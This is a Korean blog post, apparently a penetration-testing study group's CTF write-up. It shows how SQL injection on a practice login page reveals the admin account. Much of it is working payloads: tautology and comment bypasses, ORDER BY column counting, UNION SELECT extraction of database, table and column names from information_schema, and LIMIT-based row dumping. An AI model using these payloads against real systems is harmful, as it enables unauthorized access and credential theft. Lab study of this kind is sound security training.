이전
2024.11.23 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 CTF 문제 - Login Bypass 3
해당 문제에서 플래그 값을 찾았으나 직접 찾아보는 시도를 해보았다.
이번 문제는 관리자 계정을 알 수 없는 상태에서 관리자 계정을 알아내는 문제이다.
1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인
특이사항이 없다.
2. 로그아웃 후 해당 값들을 시도
- UserId: doldol' and '1'='1 / Password: ‘아무 글자’ → 로그인 실패
- UserId: doldol' and '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
- sql 인젝션 공격이 가능하다.
- UserId: doldol' or '1'='1 / Password: ‘아무 글자’ → 로그인 성공
- UserId: doldol' or '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
- 식별/인증 동시 로직이다.
- UserId: doldol' # / Password: ‘아무 글자’ → 로그인 성공
- UserId: doldol' # / Password: ‘doldol 비밀번호’ → 로그인 성공
- 개행이 없다
SQL 구문은
SELECT * FROM 테이블명 WHERE userId = {UserId} AND password = {Password}
해당 구조로 예상된다.
3. 컬럼 개수를 확인
- doldol' order by 1 # → 로그인 성공
- doldol' order by 2 # → 로그인 성공
- doldol' order by 3 # → 로그인 성공
- doldol' order by 4 # → 로그인 성공
- doldol' order by 5 # → 로그인 성공
- doldol' order by 6 # → 로그인 성공
- doldol' order by 7 # → 로그인 실패
- 컬럼 개수는 총 6개이다.
4. 컬럼 위치 확인
6개의 컬럼 중 어떤 컬럼을 사용하고 있는지 모르니
' UNION select 'doldol', '1', '1', '1', '1', '1' #
를 시도해 본다.
- 로그인 성공 -> UserId컬럼은 맞고 5개의 컬럼에 작성된 '1'중 출력되는 부분이 있다.
해당 구문 작성 후 로그인 시도
' UNION select 'doldol', '1', '2', '3', '4', '5' #
- 로그인 성공 -> '2'컬럼 위치(3번째)가 출력되는 컬럼 임을 알 수 있다.
5. DB 명 추출
' UNION SELECT '1', '1', database(), '1', '1', '1' #
6. 테이블명 추출
' UNION SELECT '1', '1', GROUP_CONCAT(table_name), '1', '1', '1' from information_schema.tables where table_schema = '스키마명' #
7. 컬럼명 추출
' UNION SELECT '1', '1', GROUP_CONCAT(DISTINCT column_name ORDER BY ordinal_position), '1', '1', '1' FROM information_schema.COLUMNS WHERE TABLE_NAME = '테이블명' #
컬럼명은 테이블 내에서 중복될 수 없지만, 조인이나 다른 테이블과 연결될 경우 'GROUP_CONCAT'을 사용할 때 컬럼명이 중복으로 나올 수 있다. 이를 방지하기 위해 'DISTINCT'를 사용하여 중복된 값을 제거하고, 원래 컬럼의 순서를 유지하기 위해 'ORDER BY ordinal_position'을 사용한다.
여기서 id의 데이터와 그에 따른 정보를 추출하면 된다.
8. 데이터 추출
' union SELECT '1', '1', GROUP_CONCAT(컬럼명), '1', '1', '1' FROM 테이블명 #
id에 대한 데이터를 확인해 봤다. 이때 각 계정의 권한을 알아보기 위해 위에서 추출했던 컬럼 중 권한과 관련한 컬럼을 사용해보려고 한다.
권한값은 중복이 있을 수 도 있고 null 값이 존재할 수도 있기 때문에 GROUP_CONCAT을 사용하는 것 보다 LIMIT를 사용하는 게 좋을 것 같다.
' union SELECT '1', '1', 권한컬럼, '1', '1', '1' FROM 테이블명 limit 0~n,1 #
위처럼 작성하고 출력하면 limit 1,1 즉 2번째 행이 관리자 권한임을 알 수 있다.
이제 2번째 행의 password를 조회하여 로그인을 하면 된다.
9. 로그인 성공
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - SQL Injection 1 (0) | 2024.11.26 |
---|---|
모의해킹 스터디 6주차 과제 (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Login Bypass5 (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Login Bypass 4 (0) | 2024.11.24 |
모의해킹 스터디 CTF 문제 - Login Bypass 3 (0) | 2024.11.23 |